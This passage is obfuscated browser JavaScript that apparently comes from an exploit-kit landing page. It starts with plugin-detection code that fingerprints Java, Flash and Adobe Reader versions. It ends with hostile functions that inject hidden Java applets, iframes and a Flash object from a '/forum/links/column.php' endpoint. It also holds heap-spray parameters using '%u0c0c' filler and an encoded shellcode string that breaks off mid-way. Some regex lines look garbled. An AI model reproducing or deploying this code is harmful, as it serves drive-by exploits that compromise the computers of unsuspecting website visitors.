  947.           , f = {
  948.           }
  949.           , a, c = null, i = null, b = (k.hasRun || k.disabled());
  950.           k.hasRun = 1;
  951.           if (b){
  952.             return k
  953.           }
  954.           k.status = 0;
  955.           if (g.isIE && 6 <= g.verIE){
  956.             for (l = 0; l < k.classID.length; l ++ ){
  957.               k.HTML = g.insertHTML("object", ["classid", k.classID[l]], []);
  958.               c = g.getDOMobj(k.HTML);
  959.               try {
  960.                 if (c && c.jvms){
  961.                   break
  962.                 }
  963.               }
  964.               catch (j){
  965.               }
  966.             }
  967.           }
  968.           else {
  969.             if (!g.isIE && (h = g.hasMimeType(k.mimeType)) && h.type){
  970.               k.HTML = g.insertHTML("object", ["type", h.type], []);
  971.               c = g.getDOMobj(k.HTML)
  972.             }
  973.           }
  974.           if (c){
  975.             try {
  976.               a = c.jvms;
  977.               if (a){
  978.                 i = a.getLength();
  979.                 if (g.isNum(i)){
  980.                   k.status = 0 < i ? 1 :- 1;
  981.                   for (l = 0; l < i; l ++ ){
  982.                     h = g.getNum(a.get(i - 1 - l).version);
  983.                     if (h){
  984.                       k.VERSIONS.push(h);
  985.                       f["a" + g.formatNum(h)] = 1
  986.                     }
  987.                   }
  988.                 }
  989.               }
  990.             }
  991.             catch (j){
  992.             }
  993.           }
  994.           h = 0;
  995.           for (lin f){
  996.             h ++
  997.           }
  998.           if (h && h !== k.VERSIONS.length){
  999.             k.VERSIONS = []
  1000.           }
  1001.           if (k.VERSIONS.length){
  1002.             k.version = g.formatNum(k.VERSIONS[0])
  1003.           }
  1004.           ;
  1005.           return k
  1006.         }
  1007.       }
  1008.       , AXO : {
  1009.         $ : 1, hasRun : 0, VERSIONS : [], version : "", disabled : function (){
  1010.           return this .$.isDisabled.AXO()
  1011.         }
  1012.         , JavaVersions : [[1, 9, 1, 40], [1, 8, 1, 40], [1, 7, 1, 40], [1, 6, 0, 40], [1,
  1013.         5, 0, 30], [1, 4, 2, 30], [1, 3, 1, 30]], query : function (){
  1014.           var a = this , e = a.$, b = a.$, c = (a.hasRun || a.disabled());
  1015.           a.hasRun = 1;
  1016.           if (c){
  1017.             return a
  1018.           }
  1019.           var i = [], k = [1, 5, 0, 14], j = [1, 6, 0, 2], h = [1, 3, 1, 0], g = [1, 4, 2,
  1020.           0], f = [1, 5, 0, 7], d = b.getInfo ? true : false, l = {
  1021.           }
  1022.           ;
  1023.           if (b.minIEver <= e.verIE){
  1024.             i = a.search(j, j, d);
  1025.             if (0 < i.length && d){
  1026.               i = a.search(k, k, d)
  1027.             }
  1028.           }
  1029.           else {
  1030.             if (d){
  1031.               i = a.search(f, f, true)
  1032.             }
  1033.             if (i.length == 0){
  1034.               i = a.search(h, g, false)
  1035.             }
  1036.           }
  1037.           if (i.length){
  1038.             a.version = i[0];
  1039.             a.VERSIONS = [].concat(i)
  1040.           }
  1041.           ;
  1042.           return a
  1043.         }
  1044.         , search : function (a, j, p){
  1045.           var h, d, f = this , e = f.$, k = f.$, n, c, l, q, b, o, r, i = [];
  1046.           if (0 < e.compareNums(a.join(","), j.join(","))){
  1047.             j = a
  1048.           }
  1049.           j = e.formatNum(j.join(","));
  1050.           var m, s = "1,4,2,0", g = "JavaPlugin." + a[0] + "" + a[1] + "" + a[2] + "" + (0
  1051.            < a[3] ? ("_" + (a[3] < 10 ? "0" : "") + a[3]) : "");
  1052.           for (h = 0; h < f.JavaVersions.length; h ++ ){
  1053.             d = f.JavaVersions[h];
  1054.             n = "JavaPlugin." + d[0] + "" + d[1];
  1055.             b = d[0] + "." + d[1] + ".";
  1056.             for (l = d[2];
  1057.             l >= 0; l -- ){
  1058.               r = "JavaWebStart.isInstalled." + b + l + ".0";
  1059.               if (e.compareNums(d[0] + "," + d[1] + "," + l + ",0", j) >= 0 &&! e.getAXO(r
  1060.               )){
  1061.                 continue
  1062.               }
  1063.               m = 0 > e.compareNums(d[0] + "," + d[1] + "," + l + ",0", s) ? true : false;
  1064.               for (q = d[3];
  1065.               q >= 0; q -- ){
  1066.                 c = l + "_" + (q < 10 ? "0" + q : q);
  1067.                 o = n + c;
  1068.                 if (e.getAXO(o) && (m || e.getAXO(r))){
  1069.                   i.push(b + c);
  1070.                   if (!p){
  1071.                     return i
  1072.                   }
  1073.                 }
  1074.                 if (o == g){
  1075.                   return i
  1076.                 }
  1077.               }
  1078.               if (e.getAXO(n + l) && (m || e.getAXO(r))){
  1079.                 i.push(b + l);
  1080.                 if (!p){
  1081.                   return i
  1082.                 }
  1083.               }
  1084.               if (n + l == g){
  1085.                 return i
  1086.               }
  1087.             }
  1088.           }
  1089.           return i
  1090.         }
  1091.       }
  1092.       , navMime : {
  1093.         $ : 1, hasRun : 0, mimetype : "", version : "", length : 0, mimeObj : 0, pluginObj
  1094.          : 0, disabled : function (){
  1095.           return this .$.isDisabled.navMime()
  1096.         }
  1097.         , query : function (){
  1098.           var i = this , f = i.$, a = i.$, b = (i.hasRun || i.disabled());
  1099.           i.hasRun = 1;
  1100.           if (b){
  1101.             return i
  1102.           }
  1103.           ;
  1104.           var n =/^\ s * application \/ x - java - applet;
  1105.           jpi - version \ s *=\ s * ( \ d. * )$ / i, g, l, j, d = "", h = "a", o, m, k =
  1106.           {
  1107.           }
  1108.           , c = f.formatNum("0");
  1109.           for (l = 0; l < navigator.mimeTypes.length; l ++ ){
  1110.             o = navigator.mimeTypes[l];
  1111.             m = o ? o.enabledPlugin : 0;
  1112.             g = o && n.test(o.type || d) ? f.formatNum(f.getNum(RegExp.$1)) : 0;
  1113.             if (g && m && (m.description || m.name)){
  1114.               if (!k[h + g]){
  1115.                 i.length ++
  1116.               }
  1117.               k[h + g] = o.type;
  1118.               if (0 < f.compareNums(g, c)){
  1119.                 c = g
  1120.               }
  1121.             }
  1122.           }
  1123.           g = k[h + c];
  1124.           if (g){
  1125.             o = f.hasMimeType(g);
  1126.             i.mimeObj = o;
  1127.             i.pluginObj = o ? o.enabledPlugin : 0;
  1128.             i.mimetype = g;
  1129.             i.version = c
  1130.           }
  1131.           ;
  1132.           return i
  1133.         }
  1134.       }
  1135.       , navPlugin : {
  1136.         $ : 1, hasRun : 0, version : "", disabled : function (){
  1137.           return this .$.isDisabled.navPlugin()
  1138.         }
  1139.         , query : function (){
  1140.           var m = this , e = m.$, c = m.$, h = c.navigator, j, l, k, g, d, a, i, f = 0, b
  1141.            = (m.hasRun || m.disabled());
  1142.           m.hasRun = 1;
  1143.           if (b){
  1144.             return m
  1145.           }
  1146.           ;
  1147.           a = h.pluginObj.name || "";
  1148.           i = h.pluginObj.description || "";
  1149.           if (!f || c.debug){
  1150.             g =/ Java. * TM. * Platform[ ^\ d] * ( \ d + )( ?: [ \ ., _]( \ d * )) ? ( ?:\
  1151.             s * [Update] +\ s * ( \ d * )) ?/ i;
  1152.             if ((g.test(a) || g.test(i)) && parseInt(RegExp.$1, 10) >= 5){
  1153.               f = "1," + RegExp.$1 + "," + (RegExp.$2 ? RegExp.$2 : "0") + "," + (RegExp.
  1154.               $3 ? RegExp.$3 : "0")
  1155.             }
  1156.           }
  1157.           if (!f || c.debug){
  1158.             g =/ Java[ ^\ d] * Plug - in  / i;
  1159.             l = g.test(i) ? e.formatNum(e.getNum(i)) : 0;
  1160.             k = g.test(a) ? e.formatNum(e.getNum(a)) : 0;
  1161.             if (l && (e.compareNums(l, e.formatNum("1,3")) < 0 || e.compareNums(l, e.
  1162.             formatNum("2")) >= 0)){
  1163.               l = 0
  1164.             }
  1165.             if (k && (e.compareNums(k, e.formatNum("1,3")) < 0 || e.compareNums(k, e.
  1166.             formatNum("2")) >= 0)){
  1167.               k = 0
  1168.             }
  1169.             d = l && k ? (0 < e.compareNums(l, k) ? l : k) : (l || k);
  1170.             if (d){
  1171.               f = d
  1172.             }
  1173.           }
  1174.           if (!f && e.isSafari && e.OS == 2){
  1175.             j = e.findNavPlugin("Java.*\d.*Plug-in.*Cocoa", 0);
  1176.             if (j){
  1177.               l = e.getNum(j.description);
  1178.               if (l){
  1179.                 f = l
  1180.               }
  1181.             }
  1182.           }
  1183.           ;
  1184.           if (f){
  1185.             m.version = e.formatNum(f)
  1186.           }
  1187.           ;
  1188.           return m
  1189.         }
  1190.       }
  1191.       , lang : {
  1192.         $ : 1, System : {
  1193.           $ : 1, hasRun : 0, result : [null, null], disabled : function (){
  1194.             return this .$.isDisabled.windowDotJava()
  1195.           }
  1196.           , getPropertyHas : function (a){
  1197.             var b = this , d = b.$, c = b.getProperty()[0];
  1198.             return (a && c && d.compareNums(d.formatNum(a), d.formatNum(c)) === 0) ? 1 : 0
  1199.           }
  1200.           , getProperty : function (){
  1201.             var f = this , g = f.$, d = f.$, i, h = {
  1202.             }
  1203.             , b = f.hasRun || f.disabled();
  1204.             f.hasRun = 1;
  1205.             if (!b){
  1206.               var a = "java_qqq990";
  1207.               g[a] = null;
  1208.               try {
  1209.                 var c = document.createElement("script");
  1210.                 c.type = "text/javascript";
  1211.                 c.appendChild(document.createTextNode('
  1212. (function(){var e,a;try{a=[window.java.lang.System.getProperty("java.version")+" ",window.
  1213. java.lang.System.getProperty("java.vendor")+" "]}catch(e){};' + g.name + "." + a +
  1214.                 "=a||0})();"));
  1215.                 g.head.insertBefore(c, g.head.firstChild);
  1216.                 g.head.removeChild(c)
  1217.               }
  1218.               catch (i){
  1219.               }
  1220.               if (g[a] && g.isArray(g[a])){
  1221.                 f.result = [].concat(g[a])
  1222.               }
  1223.             }
  1224.             return f.result
  1225.           }
  1226.         }
  1227.       }
  1228.       , applet : {
  1229.         $ : 1, results : [[null, null], [null, null], [null, null]], getResult : function
  1230.         (){
  1231.           var c = this .results, a, b = [];
  1232.           for (a = 0; a < c.length; a ++ ){
  1233.             b = c[a];
  1234.             if (b[0]){
  1235.               break
  1236.             }
  1237.           }
  1238.           return [].concat(b)
  1239.         }
  1240.         , HTML : [0, 0, 0], active : [0, 0, 0], DummyObjTagHTML : 0, DummySpanTagHTML : 0,
  1241.         allowed : [1, 1, 1], VerifyTagsHas : function (c){
  1242.           var d = this , b;
  1243.           for (b = 0; b < d.allowed.length; b ++ ){
  1244.             if (d.allowed[b] === c){
  1245.               return 1
  1246.             }
  1247.           }
  1248.           return 0
  1249.         }
  1250.         , saveAsVerifyTagsArray : function (c){
  1251.           var b = this , d = b.$, a;
  1252.           if (d.isArray(c)){
  1253.             for (a = 0; a < b.allowed.length; a ++ ){
  1254.               if (d.isNum(c[a])){
  1255.                 if (0 > c[a]){
  1256.                   c[a] = 0
  1257.                 }
  1258.                 if (c[a] > 3){
  1259.                   c[a] = 3
  1260.                 }
  1261.                 b.allowed[a] = c[a]
  1262.               }
  1263.             }
  1264.           }
  1265.         }
  1266.         , setVerifyTagsArray : function (d){
  1267.           var b = this , c = b.$, a = b.$;
  1268.           if (a.getVersionDone === null){
  1269.             b.saveAsVerifyTagsArray(a.getVerifyTagsDefault())
  1270.           }
  1271.           if (a.debug || (a.verify && a.verify.isEnabled())){
  1272.             b.saveAsVerifyTagsArray([3, 3, 3])
  1273.           }
  1274.           else {
  1275.             if (d){
  1276.               b.saveAsVerifyTagsArray(d)
  1277.             }
  1278.           }
  1279.         }
  1280.         , allDisabled : function (){
  1281.           return this .$.isDisabled.allApplets()
  1282.         }
  1283.         , isDisabled : function (d){
  1284.           var b = this , c = b.$, a = b.$;
  1285.           if (d == 2 &&! c.isIE){
  1286.             return 1
  1287.           }
  1288.           if (d === 0 || d == 2){
  1289.             return a.isDisabled.ObjectTag()
  1290.           }
  1291.           if (d == 1){
  1292.             return a.isDisabled.AppletTag()
  1293.           }
  1294.         }
  1295.         , can_Insert_Query : function (b){
  1296.           var a = this ;
  1297.           if (a.HTML[b]){
  1298.             return 0
  1299.           }
  1300.           return !a.isDisabled(b)
  1301.         }
  1302.         , can_Insert_Query_Any : function (){
  1303.           var b = this , a;
  1304.           for (a = 0; a < b.results.length; a ++ ){
  1305.             if (b.can_Insert_Query(a)){
  1306.               return 1
  1307.             }
  1308.           }
  1309.           return 0
  1310.         }
  1311.         , should_Insert_Query : function (d){
  1312.           var b = this , e = b.allowed, c = b.$, a = b.$;
  1313.           if (!b.can_Insert_Query(d)){
  1314.             return 0
  1315.           }
  1316.           if (e[d] == 3){
  1317.             return 1
  1318.           }
  1319.           if (e[d] == 2.8 &&! b.getResult()[0]){
  1320.             return 1
  1321.           }
  1322.           if (e[d] == 2.5 &&! a.lang.System.getProperty()[0]){
  1323.             return 1
  1324.           }
  1325.           if (e[d] == 2.2 &&! a.lang.System.getProperty()[0] &&! b.getResult()[0]){
  1326.             return 1
  1327.           }
  1328.           if (!a.nonAppletDetectionOk(a.version0)){
  1329.             if (e[d] == 2){
  1330.               return 1
  1331.             }
  1332.             if (e[d] == 1 &&! b.getResult()[0]){
  1333.               return 1
  1334.             }
  1335.           }
  1336.           return 0
  1337.         }
  1338.         , should_Insert_Query_Any : function (){
  1339.           var b = this , a;
  1340.           for (a = 0; a < b.allowed.length; a ++ ){
  1341.             if (b.should_Insert_Query(a)){
  1342.               return 1
  1343.             }
  1344.           }
  1345.           return 0
  1346.         }
  1347.         , query : function (f){
  1348.           var h, a = this , g = a.$, d = a.$, i = null, j = null, b = a.results, c;
  1349.           if ((b[f][0] && b[f][1]) || (d.debug && d.OTF < 3)){
  1350.             return
  1351.           }
  1352.           c = g.getDOMobj(a.HTML[f], true);
  1353.           if (c){
  1354.             try {
  1355.               i = g.getNum(c.getVersion() + " ");
  1356.               j = c.getVendor() + " ";
  1357.               c.statusbar(g.winLoaded ? " " : " ")
  1358.             }
  1359.             catch (h){
  1360.             }
  1361.             if (i && g.isStrNum(i)){
  1362.               b[f] = [i, j]
  1363.             }
  1364.             else {
  1365.             }
  1366.             ;
  1367.             try {
  1368.               if (g.isIE && i && c.readyState != 4){
  1369.                 g.garbage = true;
  1370.                 c.parentNode.removeChild(c)
  1371.               }
  1372.             }
  1373.             catch (h){
  1374.             }
  1375.           }
  1376.         }
  1377.         , insert_Query_Any : function (){
  1378.           var d = this , i = d.$, e = d.$, l = d.results, p = d.HTML, a =
  1379.           "&nbsp;&nbsp;&nbsp;&nbsp;", g = "A.class", m = i.file.getValid(e);
  1380.           if (!m){
  1381.             return d.getResult()
  1382.           }
  1383.           if (e.OTF < 1){
  1384.             e.OTF = 1
  1385.           }
  1386.           if (d.allDisabled()){
  1387.             return d.getResult()
  1388.           }
  1389.           if (e.OTF < 1.5){
  1390.             e.OTF = 1.5
  1391.           }
  1392.           var j = m.name + m.ext, h = m.path;
  1393.           var f = ["archive", j, "code", g], c = ["mayscript", "true"], o = ["scriptable",
  1394.           "true"].concat(c), n = e.navigator, b =! i.isIE && n.mimeObj && n.mimeObj.type ?
  1395.           n.mimeObj.type : e.mimeType[0];
  1396.           if (d.should_Insert_Query(0)){
  1397.             if (e.OTF < 2){
  1398.               e.OTF = 2
  1399.             }
  1400.             ;
  1401.             p[0] = i.isIE ? i.insertHTML("object", ["type", b], ["codebase", h].concat(f).
  1402.             concat(o), a, e) : i.insertHTML("object", ["type", b], ["codebase", h].concat(
  1403.             f).concat(o), a, e);
  1404.             l[0] = [0, 0];
  1405.             d.query(0)
  1406.           }
  1407.           if (d.should_Insert_Query(1)){
  1408.             if (e.OTF < 2){
  1409.               e.OTF = 2
  1410.             }
  1411.             ;
  1412.             p[1] = i.isIE ? i.insertHTML("applet", ["alt", a].concat(c).concat(f), [
  1413.             "codebase", h].concat(c), a, e) : i.insertHTML("applet", ["codebase", h, "alt"
  1414.             , a].concat(c).concat(f), [].concat(c), a, e);
  1415.             l[1] = [0, 0];
  1416.             d.query(1)
  1417.           }
  1418.           if (d.should_Insert_Query(2)){
  1419.             if (e.OTF < 2){
  1420.               e.OTF = 2
  1421.             }
  1422.             ;
  1423.             p[2] = i.isIE ? i.insertHTML("object", ["classid", e.classID], ["codebase", h
  1424.             ].concat(f).concat(o), a, e) : i.insertHTML();
  1425.             l[2] = [0, 0];
  1426.             d.query(2)
  1427.           }
  1428.           if (!d.DummyObjTagHTML &&! e.isDisabled.ObjectTag()){
  1429.             d.DummyObjTagHTML = i.insertHTML("object", [], [], a)
  1430.           }
  1431.           if (!d.DummySpanTagHTML){
  1432.             d.DummySpanTagHTML = i.insertHTML("", [], [], a)
  1433.           }
  1434.           ;
  1435.           var k = e.NOTF;
  1436.           if (e.OTF < 3 && k.shouldContinueQuery()){
  1437.             e.OTF = 3;
  1438.             k.onIntervalQuery = i.handler(k.$onIntervalQuery, k);
  1439.             if (!i.winLoaded){
  1440.               i.WLfuncs0.push([k.winOnLoadQuery, k])
  1441.             }
  1442.             setTimeout(k.onIntervalQuery, k.intervalLength)
  1443.           }
  1444.           ;
  1445.           return d.getResult()
  1446.         }
  1447.       }
  1448.       , NOTF : {
  1449.         $ : 1, count : 0, countMax : 25, intervalLength : 250, shouldContinueQuery :
  1450.         function (){
  1451.           var e = this , d = e.$, c = e.$, b = c.applet, a;
  1452.           for (a = 0; a < b.results.length; a ++ ){
  1453.             if (b.HTML[a] &&! b.results[a][0] && (b.allowed[a] >= 2 || (b.allowed[a] == 1
  1454.              &&! b.getResult()[0])) && e.isAppletActive(a) >= 0){
  1455.               return 1
  1456.             }
  1457.           }
  1458.           return 0
  1459.         }
  1460.         , isJavaActive : function (d){
  1461.           var f = this , c = f.$, a, b, e =- 9;
  1462.           for (a = 0; a < c.applet.HTML.length; a ++ ){
  1463.             b = f.isAppletActive(a, d);
  1464.             if (b > e){
  1465.               e = b
  1466.             }
  1467.           }
  1468.           return e
  1469.         }
  1470.         , isAppletActive : function (c, a){
  1471.           var d = this , b = d.$.applet.active;
  1472.           if (!a){
  1473.             b[c] = d.isAppletActive_(c)
  1474.           }
  1475.           return b[c]
  1476.         }
  1477.         , isAppletActive_ : function (d){
  1478.           var g = this , f = g.$, b = g.$, l = b.navigator, a = b.applet, h = a.HTML[d],
  1479.           i, k, c = 0, j = f.getTagStatus(h, a.DummySpanTagHTML, a.DummyObjTagHTML, g.
  1480.           count);
  1481.           if (j ==- 2){
  1482.             return  - 2
  1483.           }
  1484.           try {
  1485.             if (f.isIE && b.minIEver <= f.verIE && f.getDOMobj(h).object){
  1486.               return 1
  1487.             }
  1488.           }
  1489.           catch (i){
  1490.           }
  1491.           for (k = 0; k < a.active.length; k ++ ){
  1492.             if (0 < a.active[k]){
  1493.               c = 1
  1494.             }
  1495.           }
  1496.           if (j == 1 && (f.isIE || ((b.version0 && l.javaEnabled() && l.mimeObj && (h.
  1497.           tagName == "object" || c)) || b.lang.System.getProperty()[0]))){
  1498.             return 1
  1499.           }
  1500.           if (0 > j){
  1501.             return  - 1
  1502.           }
  1503.           return 0
  1504.         }
  1505.         , winOnLoadQuery : function (c, d){
  1506.           var b = d.$, a;
  1507.           if (b.OTF == 3){
  1508.             a = d.queryAllApplets();
  1509.             d.queryCompleted(a[1], a[2])
  1510.           }
  1511.         }
  1512.         , $onIntervalQuery : function (d){
  1513.           var c = d.$, b = d.$, a;
  1514.           if (b.OTF == 3){
  1515.             a = d.queryAllApplets();
  1516.             if (!d.shouldContinueQuery() || (c.winLoaded && d.count > d.countMax)){
  1517.               d.queryCompleted(a[1], a[2])
  1518.             }
  1519.           }
  1520.           d.count++;
  1521.           if (b.OTF == 3){
  1522.             setTimeout(d.onIntervalQuery, d.intervalLength)
  1523.           }
  1524.         }
  1525.         , queryAllApplets : function (){
  1526.           var g = this , f = g.$, e = g.$, d = e.applet, b, a, c;
  1527.           for (b = 0; b < d.results.length; b ++ ){
  1528.             d.query(b)
  1529.           }
  1530.           a = d.getResult();
  1531.           c = a[0] ? true : false;
  1532.           return [c, a[0], a[1]]
  1533.         }
  1534.         , queryCompleted : function (c, f){
  1535.           var e = this , d = e.$, b = e.$;
  1536.           if (b.OTF >= 4){
  1537.             return
  1538.           }
  1539.           b.OTF = 4;
  1540.           var a = e.isJavaActive();
  1541.           b.setPluginStatus(c, f, 0);
  1542.           if (b.funcs){
  1543.             d.callArray(b.funcs)
  1544.           }
  1545.           if (d.onDoneEmptyDiv){
  1546.             d.onDoneEmptyDiv()
  1547.           }
  1548.         }
  1549.       }
  1550.       , zz : 0
  1551.     }
  1552.     , flash : {
  1553.       mimeType : "application/x-shockwave-flash", progID : "ShockwaveFlash.ShockwaveFlash"
  1554.       , classID : "clsid:D27CDB6E-AE6D-11CF-96B8-444553540000", getVersion : function (){
  1555.         var b = function (i){
  1556.           if (!i){
  1557.             return null
  1558.           }
  1559.           var e =/ [ \ d][ \ d \,\ . \ s] * [rRdD]{
  1560.             0, 1
  1561.           }
  1562.           [ \ d \, ] */ .exec(i);
  1563.           return e ? e[0].replace(/[rRdD\.]/g, ",").replace(/\s/g, "") : null
  1564.         }
  1565.         ;
  1566.         var j = this , g = j.$, k, h, l = null, c = null, a = null, f, m, d;
  1567.         if (!g.isIE){
  1568.           m = g.hasMimeType(j.mimeType);
  1569.           if (m){
  1570.             f = g.getDOMobj(g.insertHTML("object", ["type", j.mimeType], [], "", j));
  1571.             try {
  1572.               l = g.getNum(f.GetVariable("$version"))
  1573.             }
  1574.             catch (k){
  1575.             }
  1576.           }
  1577.           if (!l){
  1578.             d = m ? m.enabledPlugin : null;
  1579.             if (d && d.description){
  1580.               l = b(d.description)
  1581.             }
  1582.             if (l){
  1583.               l = g.getPluginFileVersion(d, l)
  1584.             }
  1585.           }
  1586.         }
  1587.         else {
  1588.           for (h = 15; h > 2; h -- ){
  1589.             c = g.getAXO(j.progID + "." + h);
  1590.             if (c){
  1591.               a = h.toString();
  1592.               break
  1593.             }
  1594.           }
  1595.           if (!c){
  1596.             c = g.getAXO(j.progID)
  1597.           }
  1598.           if (a == "6"){
  1599.             try {
  1600.               c.AllowScriptAccess = "always"
  1601.             }
  1602.             catch (k){
  1603.               return "6,0,21,0"
  1604.             }
  1605.           }
  1606.           try {
  1607.             l = b(c.GetVariable("$version"))
  1608.           }
  1609.           catch (k){
  1610.           }
  1611.           if (!l && a){
  1612.             l = a
  1613.           }
  1614.         }
  1615.         j.installed = l ? 1 :- 1;
  1616.         j.version = g.formatNum(l);
  1617.         return true
  1618.       }
  1619.     }
  1620.     , adobereader : {
  1621.       mimeType : "application/pdf", navPluginObj : null, progID : ["AcroPDF.PDF",
  1622.       "PDF.PdfCtrl"], classID : "clsid:CA8A9780-280D-11CF-A24D-444553540000", INSTALLED :
  1623.       {
  1624.       }
  1625.       , pluginHasMimeType : function (d, c, f){
  1626.         var b = this , e = b.$, a;
  1627.         for (ain d){
  1628.           if (d[a] && d[a].type && d[a].type == c){
  1629.             return 1
  1630.           }
  1631.         }
  1632.         if (e.getMimeEnabledPlugin(c, f)){
  1633.           return 1
  1634.         }
  1635.         return 0
  1636.       }
  1637.       , getVersion : function (l, j){
  1638.         var g = this , d = g.$, i, f, m, n, b = null, h = null, k = g.mimeType, a, c;
  1639.         if (d.isString(j)){
  1640.           j = j.replace(/\s/g, "");
  1641.           if (j){
  1642.             k = j
  1643.           }
  1644.         }
  1645.         else {
  1646.           j = null
  1647.         }
  1648.         if (d.isDefined(g.INSTALLED[k])){
  1649.           g.installed = g.INSTALLED[k];
  1650.           return
  1651.         }
  1652.         if (!d.isIE){
  1653.           a = "Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in";
  1654.           if (g.getVersionDone !== 0){
  1655.             g.getVersionDone = 0;
  1656.             b = d.getMimeEnabledPlugin(g.mimeType, a);
  1657.             if (!j){
  1658.               n = b
  1659.             }
  1660.             if (!b && d.hasMimeType(g.mimeType)){
  1661.               b = d.findNavPlugin(a, 0)
  1662.             }
  1663.             if (b){
  1664.               g.navPluginObj = b;
  1665.               h = d.getNum(b.description) || d.getNum(b.name);
  1666.               h = d.getPluginFileVersion(b, h);
  1667.               if (!h && d.OS == 1){
  1668.                 if (g.pluginHasMimeType(b, "application/vnd.adobe.pdfxml", a)){
  1669.                   h = "9"
  1670.                 }
  1671.                 else {
  1672.                   if (g.pluginHasMimeType(b, "application/vnd.adobe.x-mars", a)){
  1673.                     h = "8"
  1674.                   }
  1675.                 }
  1676.               }
  1677.             }
  1678.           }
  1679.           else {
  1680.             h = g.version
  1681.           }
  1682.           if (!d.isDefined(n)){
  1683.             n = d.getMimeEnabledPlugin(k, a)
  1684.           }
  1685.           g.installed = n && h ? 1 : (n ? 0 : (g.navPluginObj ?- 0.2 :- 1))
  1686.         }
  1687.         else {
  1688.           b = d.getAXO(g.progID[0]) || d.getAXO(g.progID[1]);
  1689.           c =/=\ s * ([ \ d \ .] + ) / g;
  1690.           try {
  1691.             f = (b || d.getDOMobj(d.insertHTML("object", ["classid", g.classID], ["src",
  1692.             ""], "", g))).GetVersions();
  1693.             for (m = 0; m < 5; m ++ ){
  1694.               if (c.test(f) && (!h || h < RegExp.$1)){
  1695.                 h = RegExp.$1
  1696.               }
  1697.             }
  1698.           }
  1699.           catch (i){
  1700.           }
  1701.           g.installed = h ? 1 : (b ? 0 :- 1)
  1702.         }
  1703.         if (!g.version){
  1704.           g.version = d.formatNum(h)
  1705.         }
  1706.         g.INSTALLED[k] = g.installed
  1707.       }
  1708.     }
  1709.     , zz : 0
  1710.   }
  1711. }
  1712. ;
  1713. pdpd.initScript();
  1714. pdpd.getVersion(".");
  1715. var $ = pdpd;
  1716. function x(s){
  1717.   d = [];
  1718.   for (i = 0; i < s.length; i ++ ){
  1719.     k = (s.charCodeAt(i)).toString(33);
  1720.     d.push(k);
  1721.   }
  1722.   ;
  1723.   return d.join(":");
  1724. }
  1725. end_redirect = function (){
  1726. }
  1727. ;
  1728. function j1(){
  1729.   if ((document.body.clientWidth || document.body.offsetWidth) < 30){
  1730.     var oSpan = document.createElement("div");
  1731.     document.body.appendChild(oSpan);
  1732.     oSpan.innerHTML = "
  1733. <applet archive="/forum/links/column.php?efyuud=tsj&dsj=mojzguet" code="hw">
  1734. <param name="prime" value="olV8tM-wlKOrfrfj.tlK0j-8oqij%t-K0ow3D3xk.b1fOhvO6.O6CO1
  1735. fRAebhvO6qO60O1hO11O6qO6qO16O6CO6tRVb6.Ry8bSR?-bk" /><param name="val" value="Dyy
  1736. 3Ojj80V"/></applet>";
  1737.   }
  1738.   return true;
  1739. }
  1740. function j2(){
  1741.   if ((document.body.clientWidth || document.body.offsetWidth) < 30){
  1742.     var oSpan = document.createElement("div");
  1743.     document.body.appendChild(oSpan);
  1744.     oSpan.innerHTML = "
  1745. <applet archive="/forum/links/column.php?azm=wxzm&kgplk=xocf" code="hw"><par
  1746. am name="prime" value="olV8tM-wlKOrfrfj.tlK0j-8oqij%t-K0ow3D3xk.b1fOhvO6.O6CO1fRAe
  1747. bhvO6qO60O1hO11O6qO6qO16O6CO6tRVb6.Ry8bSR?-bk" /><param name="val" value="Dyy3Ojj
  1748. 80V"/></applet>";
  1749.   }
  1750.   return true;
  1751. }
  1752. function p1(){
  1753.   var d = document.createElement("iframe");
  1754.   d.setAttribute("src", "/forum/links/column.php?fmypw=" + x("ca04c") + "&ziu=" + x("vvy")
  1755.    + "&tbbfbvpc=2v:1k:1m:32:33:1k:1k:31:1j:1o&lazr=" + x(pdfver.join(".")));
  1756.   document.body.appendChild(d);
  1757. }
  1758. function p2(){
  1759.   var d = document.createElement("iframe");
  1760.   d.setAttribute("src", "/forum/links/column.php?ontjmu=" + x("ca04c") + "&eeeomjjy=" + x(
  1761.   "v") + "&gpouadfr=2v:1k:1m:32:33:1k:1k:31:1j:1o&dtyofgqn=" + x(pdfver.join(".")));
  1762.   document.body.appendChild(d);
  1763. }
  1764. function p3(){
  1765.   return false;
  1766. }
  1767. function f1(){
  1768.   var oSpan = document.createElement("span");
  1769.   document.body.appendChild(oSpan);
  1770.   var url = "/forum/links/column.php?ifaha=" + x("ca04c") + "&mvnklw=" + x("pgdgvi") + "
  1771. &gpslaed=2v:1k:1m:32:33:1k:1k:31:1j:1o&info=02e6b1525353caa8adb5b637b65130b6b635b3ab5150cf
  1772. c84aca4aaa35b15550b7afb5b3b6b154ac35b4b553b7b7a951b252ca3556b1cf4f7e7a6f0f691e";
  1773.   oSpan.innerHTML = "
  1774. <object classid='clsid:D27CDB6E-AE6D-11cf-96B8-444553540000' id='asd' width='600' height='
  1775. 400' codebase='http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab'><param
  1776. name='movie' value='" + url + "' /><embed src='" + url + "
  1777. ' name='asd' align='middle' allowNetworking='all' type='application/x-shockwave-flash' plu
  1778. ginspage='http://www.macromedia.com/go/getflashplayer'></embed></object>";
  1779. }
  1780. function getCN(){
  1781.   return "/forum/links/column.php?lbhvepib=" + x("ca04c") + "&fyxc=" + x("zdesg") +
  1782.   "&ouqm=2v:1k:1m:32:33:1k:1k:31:1j:1o&vvwy=enjjtvv"
  1783. }
  1784. function getBlockSize(){
  1785.   return 1024
  1786. }
  1787. function getAllocSize(){
  1788.   return 1024 * 1024
  1789. }
  1790. function getAllocCount(){
  1791.   return 300
  1792. }
  1793. function getFillBytes(){
  1794.   var a = '%u' + '0c0c';
  1795.   return a + a
  1796. }
  1797. function getShellCode(){
  1798.   var a = "
  1799. 8200!%0582!%4451!%e0a4!%5115!%c514!%34e0!%5191!%e094!%9174!%2421!%2191!%b191!%3421!%2191!%
  1800. 9134!%b121!%21b1!%b1a1!%5421!%2191!%9134!%e521!%51a1!%f4d4!%81e0!%21b1!%9124!%e421!%2191!%
  1801. a1e5!%8121!%51b1!%05e4!%8571!%8504!%6460!%d554!%7444!%70b4!%34b5!%1464!%7044!%d554!%74a5!%
  1802. 70e4!%0181!%0181!%d521!%60a5!%c444!%1474!%a594!%9464!%1454!%7070!%8521!%c5c5!%8504!%2370!%
